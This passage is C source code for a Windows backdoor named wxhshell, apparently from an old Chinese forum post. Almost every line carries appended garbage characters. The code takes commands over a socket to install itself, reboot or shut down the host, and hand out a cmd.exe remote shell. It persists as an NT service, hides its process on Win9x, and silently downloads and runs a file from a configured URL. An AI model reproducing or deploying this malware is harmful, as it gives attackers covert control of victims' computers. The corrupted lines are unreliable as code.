  // 帮助 pd\x^F`sk.  
  case '?': { NpAZuISD!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1m4Xl%KS>  
    break; T$IwrTF@?  
  } :vXlni7N[M  
  // 安装 -d)+G%{  
  case 'i': { mx=2lL`  
    if(Install()) Ad)::9K?J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vp4NH]fJ  
    else X:kr$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); We)l_>G  
    break; _j sJS<21  
    } (N^tg8Z<  
  // 卸载 b^^ .$Gu  
  case 'r': { AD>X'J u8  
    if(Uninstall())   !XQq*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4N[KmNi<  
    else Ql]+,^kA@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <x[CL,Zg7  
    break; vAcxca">S  
    } VdOcKP.  
  // 显示 wxhshell 所在路径 U#6<80Ke  
  case 'p': { ^-2|T__  
    char svExeFile[MAX_PATH]; w#^z:7fI  
    strcpy(svExeFile,"\n\r"); G7N Rpr  
      strcat(svExeFile,ExeFile); z)F<{]%  
        send(wsh,svExeFile,strlen(svExeFile),0); 73kU\ux  
    break; bnZ~jOHl  
    } 7'zXf)!  
  // 重启 9 $*O^  
  case 'b': { ;!(GwgllD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Wy.^1M/n>~  
    if(Boot(REBOOT)) gGE&}EoLU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UUR+PfY  
    else { wCgi@\  
    closesocket(wsh); m <'&`B;  
    ExitThread(0); s2`Qh9R  
    } bae\EaS ?  
    break; ]x5+v0   
    } 4A)@,t9+  
  // 关机 h>"j!|#!s  
  case 'd': { bPA >xAH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vHXCT?FuG  
    if(Boot(SHUTDOWN)) ybU_x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  `6xr:s  
    else { R3|r` ~@@  
    closesocket(wsh); O9ar|8y  
    ExitThread(0); 3 =-V!E  
    } D"M[}$P  
    break; e!=~f%c<N  
    } '!<gPAVTzV  
  // 获取shell $pJw p{kN  
  case 's': { xi[\2g+  
    CmdShell(wsh); K~6u5a9s  
    closesocket(wsh);  &4{!5r  
    ExitThread(0); Ajm4q_  
    break; lWakyCS  
  } hn=tSlte  
  // 退出 bm poptfL  
  case 'x': { hQ (84u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z(I=K BI  
    CloseIt(wsh); T^icoX=c4  
    break; |B {*so]  
    } [`kk<$=,&  
  // 离开 NXX/JJ+w  
  case 'q': { L;-V Yo#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *Wf Qi8  
    closesocket(wsh); Rga *68s|&  
    WSACleanup(); FfNUFx2N  
    exit(1); x c]#8K  
    break; H[RX~Xk2E  
        } -B& Nou  
  } {fJCj152.  
  } E[cH/Rm  
"7Z-ACyF5  
  // 提示信息 jG{OLF6 !  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c2gi 3  
} zGNmc7  
  } hp`ZmLq/[  
DTlId~Dyq  
  return; Mc&Fj1h5  
} qKrxln/T  
Tje(hnN  
// shell模块句柄 On|b-  
int CmdShell(SOCKET sock) [HI$[ :[  
{ O-huC:zZh  
STARTUPINFO si; U C_$5~8p  
ZeroMemory(&si,sizeof(si)); A*g-pJ h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; adPd}rt;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S_TD o  
PROCESS_INFORMATION ProcessInfo; hr!'  
char cmdline[]="cmd"; S=j pn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m%=*3gH]&  
  return 0; gD2P)7:  
} s (K SN/  
BOWBD@y  
// 自身启动模式 c]n"1YNm  
int StartFromService(void) 9s1^hW2%Q  
{ G\o9mEzQ  
typedef struct T.jCF~%7F  
{ [r!f&R  
  DWORD ExitStatus; kD0bdE|  
  DWORD PebBaseAddress; #;f50j!r  
  DWORD AffinityMask; P) cEYk  
  DWORD BasePriority; zez|l  
  ULONG UniqueProcessId; +w-J;GLSy  
  ULONG InheritedFromUniqueProcessId; yO}5.  
}   PROCESS_BASIC_INFORMATION; t cO{CI  
k<5g  
PROCNTQSIP NtQueryInformationProcess; }=}wLm#&1  
yRIXUCy  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YRo,wsj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R8_I ASs  
TkJ[N4'0  
  HANDLE             hProcess; #y[U2s Se  
  PROCESS_BASIC_INFORMATION pbi; Sg4{IU  
{0 j_.XZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ""Da 2Md  
  if(NULL == hInst ) return 0; :PtZKt;~X  
kY @(-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^5.XQ 0n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z~ywFk}KGd  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z %Ozzp/  
yIrJaS-  
  if (!NtQueryInformationProcess) return 0; IvT><8<G  
 ?C#E_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u*TC8!n  
  if(!hProcess) return 0; R(`:~@ 3\6  
76wNZv) 9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nYFrp)DLK  
.w;kB}$YC  
  CloseHandle(hProcess); ZZ7qSyBs?  
IO:*F0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  m1U:&{:^  
if(hProcess==NULL) return 0; r!+{In+Z  
>WIc"y.  
HMODULE hMod; \ l#eW x  
char procName[255]; l6y}>]  
unsigned long cbNeeded; z -!w/Bv@  
3f] ;y<Km  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^J5{quV  
MDU#V  
  CloseHandle(hProcess); dF\#:[B  
$[A\i<#  
if(strstr(procName,"services")) return 1; // 以服务启动 & cSVOsi  
!: ^q_q4  
  return 0; // 注册表启动 :-B+W9'5  
} pA6KiY&  
\&5V';  
// 主模块 mK[Z#obc=  
int StartWxhshell(LPSTR lpCmdLine) m{/( 3  
{  ch8a  
  SOCKET wsl; eF,F<IJT{  
BOOL val=TRUE; N)H "'#-  
  int port=0; P[ 2!D)A  
  struct sockaddr_in door; wSN9`"  
lPZ(c%P  
  if(wscfg.ws_autoins) Install(); c3^!S0U  
nt#9j',6Rn  
port=atoi(lpCmdLine); ^_;'9YD  
j#1G?MF  
if(port<=0) port=wscfg.ws_port; u^~7[OkE  
V4n~Z+k  
  WSADATA data; rD].=.?1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K*SgEkb'l  
mGjB{Q+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :A8}x=K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HIXAA?_eh=  
  door.sin_family = AF_INET; Dfs*~H 63  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H<(F$7Q!\  
  door.sin_port = htons(port); bj pruJ`=  
fF(2bVKP:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _MBhwNBxZ  
closesocket(wsl); X 0G,tl  
return 1; MJ|tfQwhx  
}  ]n!V  
r5}p .  
  if(listen(wsl,2) == INVALID_SOCKET) { Mg;pNK\n  
closesocket(wsl); .a.H aBBV  
return 1; CS7b3p!I  
} ?veeW6E(  
  Wxhshell(wsl); 5/=$p:E>  
  WSACleanup(); o,*m,Qc  
)9YDNVo*-  
return 0; @d WA1tM  
rNP;53FtZl  
} x MJ-=  
O[ma% E*0  
// 以NT服务方式启动 q+?&w'8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .U!EA0B  
{ _3`G ZeGV  
DWORD   status = 0; cNWmaCLN$  
  DWORD   specificError = 0xfffffff; OrkcY39"~a  
zg2d}"dV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !>sA.L&=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U,W OP7z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9xQ|Uad+%  
  serviceStatus.dwWin32ExitCode     = 0; $--8%gh dG  
  serviceStatus.dwServiceSpecificExitCode = 0; Z",0 $Gxu  
  serviceStatus.dwCheckPoint       = 0; opfnIkCe  
  serviceStatus.dwWaitHint       = 0; 1)z'-dQ-5$  
iJ{axa &  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +~V%R{h  
  if (hServiceStatusHandle==0) return; {"p ~M7  
f#s6 'g  
status = GetLastError(); >WZ.Dj0n  
  if (status!=NO_ERROR) 1uo- ?k  
{ RuHDAJ"&a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 59.$;Ip;g  
    serviceStatus.dwCheckPoint       = 0; =oSD)z1c?x  
    serviceStatus.dwWaitHint       = 0; C. .|O  
    serviceStatus.dwWin32ExitCode     = status; zZ[kU1Fyv  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z\0wQ;}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Te+#  
    return; ui?@:=  
  } [Q T ;~5  
r*{.|>me  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9O- otAGM  
  serviceStatus.dwCheckPoint       = 0; 94!} Z>  
  serviceStatus.dwWaitHint       = 0; g0 Q,]\~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |;J`~H"K  
} Y~Uf2(7b5  
PcsYy]Q/  
// 处理NT服务事件,比如:启动、停止 q>%B @'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %RW*gUvc]  
{ s(X\7Hz_nC  
switch(fdwControl) ^qL<=UC.  
{ ^2 dQVV.  
case SERVICE_CONTROL_STOP: }X9 &!A8z  
  serviceStatus.dwWin32ExitCode = 0; ?<J~SF Tt  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N!7?D'y   
  serviceStatus.dwCheckPoint   = 0; ",~ZO<P  
  serviceStatus.dwWaitHint     = 0; OTYkJEC8\N  
  { Lq3<&$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F*G]Na@6D  
  } whN<{AG  
  return; `"~GqFwy~  
case SERVICE_CONTROL_PAUSE: $\m:}\%p  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :H>I`)bw  
  break; o5]-Kuw`  
case SERVICE_CONTROL_CONTINUE: &am<_Tn*3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rrC\4#H[??  
  break; k/F#-},Q.  
case SERVICE_CONTROL_INTERROGATE: `j {q  
  break; y /vc\e  
}; ,]t_9B QK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -V2f.QE%  
} `j3 OFC{7E  
`)$G}7cRUH  
// 标准应用程序主函数 F(j;|okf;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n3? msY(*  
{ 3 K||(  
InL_JobE8r  
// 获取操作系统版本 ;P' 5RCqj  
OsIsNt=GetOsVer(); C`ZU.|R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p! k~uf U  
;eo}/-a_Xw  
  // 从命令行安装 qQf NT.  
  if(strpbrk(lpCmdLine,"iI")) Install(); Fsl="RB7f  
p/eaO{6 6  
  // 下载执行文件 'JgCl'k,  
if(wscfg.ws_downexe) { %INkuNa8\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;wJe%Nw?  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;I@\}!%H  
} HS*Y%*  
rosD)]I7  
if(!OsIsNt) { 7m%12=Im5  
// 如果时win9x,隐藏进程并且设置为注册表启动 xVYa-I[Z  
HideProc(); Aua}.Fl,  
StartWxhshell(lpCmdLine); T++q.oFc  
} 48S NI  
else amExZ/  
  if(StartFromService()) 2&pE  
  // 以服务方式启动 mcidA%  
  StartServiceCtrlDispatcher(DispatchTable); ]Ar,HaX-  
else p,f$9t4  
  // 普通方式启动 -Ju;i<  
  StartWxhshell(lpCmdLine); `gC J[  
'.N}oL<gP  
return 0; 7K&Uu3m  
}
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只看该作者 1 发表于: 2006-10-10
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